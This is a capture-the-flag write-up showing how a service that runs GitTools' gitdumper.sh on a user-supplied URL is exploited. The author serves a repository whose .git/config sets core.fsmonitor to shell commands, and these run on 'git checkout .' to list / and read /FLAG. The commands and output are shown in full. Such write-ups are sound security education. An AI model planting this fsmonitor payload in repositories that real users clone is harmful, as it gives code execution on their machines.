# Git To the Core```Cloning git repositories from web servers might be risky. Can you show me why?
With <3 from @gehaxeltnc 52.59.124.14 10001 ```
Connecting with netcat and entering a sample URL gives us the following output:```└─$ nc 52.59.124.14 10001 Challenge was created with <3 by @gehaxelt.Let's dump a .git/ repository from a web server of your choice. Please provide an URL: http://google.comRunning command:  /opt/GitTools/Dumper/gitdumper.sh http://google.com ./repo############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########
[-] /.git/ missing in url
Failed to clone the repository!```
The script's source code can be found [here](https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh) and there's only 2 possible vulnerabilities I could find due to everything else checking for correctly formatted hashes:- We're able to control the --git-dir argument (by having it in a query string like `? --git-dir [path] [stuff to match the ends with git-dir condition]`, though this requires a custom web server serve files correctly based on contents of query string if we want to use this) and thus we can choose in which directory we will write the git files- We're able to control `.git/config`, allowing us to set `core.fsmonitor` to any shell command. Conveniently, after dumping the .git directory the script will run `git checkout .` triggering the `core.fsmonitor` command. The vulnerability of this challenge seems now pretty clear.
We can setup a local web server with `ngrok` and python's http.server module:```└─$ ngrok --scheme http http 80└─$ python3 -m http.server 80```
Setup the actual payload:```└─$ git init└─$ touch a└─$ git add .└─$ git commit -m "hello world"└─$ cat <<EOL > .git/config[core]        repositoryformatversion = 0        filemode = true        bare = false        logallrefupdates = true        fsmonitor = "echo \"\$(ls /)\">&2;false"EOL```
And then execute it on the remote:```└─$ nc 52.59.124.14 10001 Challenge was created with <3 by @gehaxelt.Let's dump a .git/ repository from a web server of your choice. Please provide an URL: http://9f52c69a5d6f.eu.ngrok.io/.git/Running command:  /opt/GitTools/Dumper/gitdumper.sh http://9f52c69a5d6f.eu.ngrok.io/.git/ ./repo############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########
[*] Destination folder does not exist[+] Creating ./repo/.git/[+] Downloaded: HEAD[-] Downloaded: objects/info/packs[+] Downloaded: description[+] Downloaded: config[+] Downloaded: COMMIT_EDITMSG[+] Downloaded: index[-] Downloaded: packed-refs[+] Downloaded: refs/heads/master[-] Downloaded: refs/remotes/origin/HEAD[-] Downloaded: refs/stash[+] Downloaded: logs/HEAD[+] Downloaded: logs/refs/heads/master[-] Downloaded: logs/refs/remotes/origin/HEAD[-] Downloaded: info/refs[+] Downloaded: info/exclude[-] Downloaded: /refs/wip/index/refs/heads/master[-] Downloaded: /refs/wip/wtree/refs/heads/master[+] Downloaded: objects/72/c649d6545980d04539e40356cc4856581ffbbe[-] Downloaded: objects/00/00000000000000000000000000000000000000[+] Downloaded: objects/49/6d6428b9cf92981dc9495211e6e1120fb6f2ba[+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
Running git checkout:  git checkout .
FLAGappbinbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarFLAGappbinbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarwarning: unable to access '/root/.config/git/attributes': Permission deniedUpdated 1 path from the index
└─$ cat <<EOL > .git/config[core]        repositoryformatversion = 0        filemode = true        bare = false        logallrefupdates = true        fsmonitor = "echo \"\$(cat /FLAG)\">&2;false"EOL
└─$ nc 52.59.124.14 10001Challenge was created with <3 by @gehaxelt.Let's dump a .git/ repository from a web server of your choice. Please provide an URL: http://9f52c69a5d6f.eu.ngrok.io/.git/Running command:  /opt/GitTools/Dumper/gitdumper.sh http://9f52c69a5d6f.eu.ngrok.io/.git/ ./repo############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########
[*] Destination folder does not exist[+] Creating ./repo/.git/[+] Downloaded: HEAD[-] Downloaded: objects/info/packs[+] Downloaded: description[+] Downloaded: config[+] Downloaded: COMMIT_EDITMSG[+] Downloaded: index[-] Downloaded: packed-refs[+] Downloaded: refs/heads/master[-] Downloaded: refs/remotes/origin/HEAD[-] Downloaded: refs/stash[+] Downloaded: logs/HEAD[+] Downloaded: logs/refs/heads/master[-] Downloaded: logs/refs/remotes/origin/HEAD[-] Downloaded: info/refs[+] Downloaded: info/exclude[-] Downloaded: /refs/wip/index/refs/heads/master[-] Downloaded: /refs/wip/wtree/refs/heads/master[+] Downloaded: objects/72/c649d6545980d04539e40356cc4856581ffbbe[-] Downloaded: objects/00/00000000000000000000000000000000000000[+] Downloaded: objects/49/6d6428b9cf92981dc9495211e6e1120fb6f2ba[+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
Running git checkout:  git checkout .
ENO{G1T_1S_FUn_T0_H4cK}ENO{G1T_1S_FUn_T0_H4cK}warning: unable to access '/root/.config/git/attributes': Permission deniedUpdated 1 path from the index```
Flag: `ENO{G1T_1S_FUn_T0_H4cK}`